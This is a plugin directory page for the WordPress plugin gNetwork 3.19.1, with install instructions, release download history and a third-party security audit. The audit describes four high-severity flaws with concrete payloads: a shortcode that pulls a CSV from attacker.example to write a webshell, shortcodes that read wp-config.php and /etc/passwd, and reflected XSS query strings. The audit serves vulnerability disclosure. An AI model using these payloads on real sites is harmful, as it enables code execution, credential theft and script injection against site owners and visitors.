WP Manifestindependent plugin directory

Install

Download gnetwork-3.19.1.zip From the 3.19.1 release on GitHub, Jul 30, 2026

Upload it under Plugins → Add New Plugin → Upload Plugin, then activate.

Install straight from GitHub with WP-CLI:

wp plugin install https://github.com/geminorum/gnetwork/releases/download/3.19.1/gnetwork-3.19.1.zip
No built-in updater. New versions won't appear under Dashboard → Updates. Install new releases yourself, or let Git Updater track the repository.

Set of tools to help you maintain your WordPress network setup.

Included Modules

See wiki/Modules.

Included Packages

See assets/packages.

Installation

Grab the latest release from here.

See Installing Plugins.

Changelog

See CHANGES.md.

Contributing

See CONTRIBUTING.md.

Please log issues here.

Releases

Newest 25 of 60 recorded releases. Each count is every asset in that release; expand a row for the breakdown.

Tag
Published
Assets
Downloads
3.19.1 latest
Jul 30, 2026 2mo ago
gnetwork-3.19.1.zip
17
Jun 27, 2026 3mo ago
gnetwork-3.19.0.zip
10
Oct 28, 2025 11mo ago
gnetwork-3.18.0.zip
23
Apr 15, 2025 1 year ago
gnetwork-3.17.4.zip
17
Jan 23, 2025 1 year ago
gnetwork-3.17.3.zip
26
Aug 4, 2024 2 years ago
gnetwork-3.17.2.zip
24
Mar 31, 2024 2 years ago
gnetwork-3.17.1.zip
22
Oct 4, 2023 3 years ago
gnetwork-3.17.0.zip
23
Apr 2, 2023 3 years ago
gnetwork-3.16.2.zip
26
Mar 29, 2023 3 years ago
gnetwork-3.16.1.zip
2
Mar 26, 2023 3 years ago
gnetwork-3.16.0.zip
8
Jun 7, 2022 4 years ago
gnetwork-3.15.1.zip
27
Feb 5, 2022 4 years ago
gnetwork-3.15.0.zip
38
Jun 3, 2021 5 years ago
gnetwork-3.14.0.zip
21
Mar 18, 2021 5 years ago
gnetwork-3.13.1.zip
2,475
Feb 7, 2021 5 years ago
gnetwork-3.13.0.zip
8,182
Dec 7, 2020 5 years ago
gnetwork-3.12.0.zip
9,827
Sep 2, 2020 6 years ago
gnetwork-3.11.3.zip
19,675
Sep 2, 2020 6 years ago
gnetwork-3.11.2.zip
14
Aug 12, 2020 6 years ago
gnetwork-3.11.1.zip
8,866
Dec 31, 2019 6 years ago
gnetwork-3.11.0.zip
141
Jul 31, 2019 7 years ago
gnetwork-3.10.0.zip
21
Apr 21, 2019 7 years ago
gnetwork-3.9.3.zip
20
Apr 10, 2019 7 years ago
gnetwork-3.9.2.zip
9
Apr 9, 2019 7 years ago
gnetwork-3.9.1.zip
10
All releases on GitHub →

No active-site estimate. Release downloads fell from a median of 9.3k per release to about 20, so sites most likely update through a channel other than these release assets, and the cohort method would only be counting stragglers. Method.

D+ grade

Security

gNetwork 3.19.1 · audited by WP Registry

High-severity findings.

4 high
Audited release
3.19.1
Findings
4
Worst severity
high
Content hash
ef2b346dcc69f25a78581e7d…

Findings

  • high Author+ shortcodes invoke attacker-chosen PHP callables (arbitrary file write / RCE)

    rce

    The ShortCodes module has no register_shortcodes option, so Module::register_shortcodes() keeps the pack enabled (get_option($key, TRUE)). [csv] accepts cb_title/cb_data; if is_callable() they are invoked as call_user_func_array($cb, [cell_or_header, ...]) for every CSV row. [in-term] does the same with cb and passes the WP_Post. WordPress lets Contributor/Author put shortcodes in post_content without unfiltered_html. A published post such as [csv url="https://attacker.example/pwn.csv" cb_data="file_put_contents"] makes the frontend request the CSV (wp_safe_remote_get) then call file_put_contents($cell, $column, ...) — PHP 8.3 coerces the dummy third argument — writing a webshell under wp-content/uploads, or cb_data="update_option" to set default_role/users_can_register. Viewing the post as any visitor (including unauthenticated) executes the callable as the web user. Elevated: Author is below manage_options.

    includes/Modules/ShortCodes.php:108-145,387-468,1363-1465

    Recommendation

    Do not accept user-supplied PHP callables in shortcode attributes. Remove cb/cb_title/cb_data from the public shortcode atts (keep them as internal filters only). Restrict [csv] URLs to the media library. Gate these shortcodes behind a capability (e.g. unfiltered_html / manage_options) or disable them by default.

  • high [raw]/[markdown] shortcodes read arbitrary local files and echo unescaped content

    file_access

    [raw] and [markdown] take path (relative to attacker-controlled base, default ABSPATH) or url and pass them to Core\File::getContents() which is a thin file_get_contents() wrapper with no scheme/allowlist check. File::exists() concatenates base+path with no realpath jail, so [raw path="wp-config.php"], [raw path="etc/passwd" base="/"], [raw url="file:///etc/passwd"], and php://filter wrappers all work for any role that can publish a shortcode (Author+; Contributor pending review). [raw] then does HTML::tag('pre', $text) which interpolates $text unescaped (stored XSS if the file/URL contains HTML). [markdown] runs ParsedownExtra::text() without setMarkupEscaped(true), so remote markdown can include raw <script>. Observable: publish the shortcode, view the post as a guest, read DB credentials or execute script in the visitor's browser.

    includes/Modules/ShortCodes.php:1237-1301

    Recommendation

    Remove path/base/url from these shortcodes or restrict them to attachment IDs in the uploads directory after realpath() + str_starts_with(WP_CONTENT_DIR). Use wp_safe_remote_get for http(s) only. Escape [raw] output with esc_html() and enable Parsedown markup escaping / wp_kses_post on markdown HTML.

  • high Reflected XSS via unescaped admin ?message= on the gNetwork extras screen

    xss_reflected

    Admin::settings_page / tools_page call Settings::message() after cucSub(). For sub=overview, cucSub() returns TRUE with no capability. Users without manage_options still get a 'read' submenu at index.php?page=gnetwork (Subscriber+). If $_GET['message'] is not a known key, the raw query value is passed to HTML::warning() → HTML::notice() → HTML::tag() as element content with no escaping. A Subscriber, or an admin clicking a crafted link, can execute HTML/JS in wp-admin, e.g. index.php?page=gnetwork&message=<img src=x onerror=alert(1)>. The prebuilt 'huh' message also concatenates $_REQUEST['huh'] unescaped.

    includes/Settings.php:144,213-226

    Recommendation

    Only accept an allowlisted message key. Never echo $_GET['message'] or $_REQUEST['huh'] as HTML. Use esc_html() if a fallback string is required. Do not treat overview as an unauthenticated-capability page for arbitrary query output.

  • high JSON Feed JSONP callback is unauthenticated reflected XSS when enabled

    xss_reflected

    If the Feed module option json_feed is enabled (default 0, one-click in settings), the plugin registers a public 'json' feed and a 'callback' query var. includes/Layouts/feed.json.php takes get_query_var('callback'), runs only esc_html() (does not strip parentheses/semicolons), sets Content-Type: application/x-javascript, and echoes {$callback}({$json});. An unauthenticated visitor can load /?feed=json&callback=alert(document.domain) or include that URL as a <script src> on an attacker origin (JSONP). esc_html is the wrong sink for a JavaScript identifier.

    includes/Layouts/feed.json.php:76-82

    Recommendation

    Drop JSONP entirely, or allow only a strict /^[A-Za-z_][A-Za-z0-9_]*$/ identifier and never echo attacker punctuation. Prefer application/json with no callback wrapper.

WP Registry hashes the installable build and reports on that exact bytes-for-bytes copy. Embargoed findings are withheld until they are disclosed, so a clean verdict means nothing public is outstanding. WP Manifest does not audit code itself.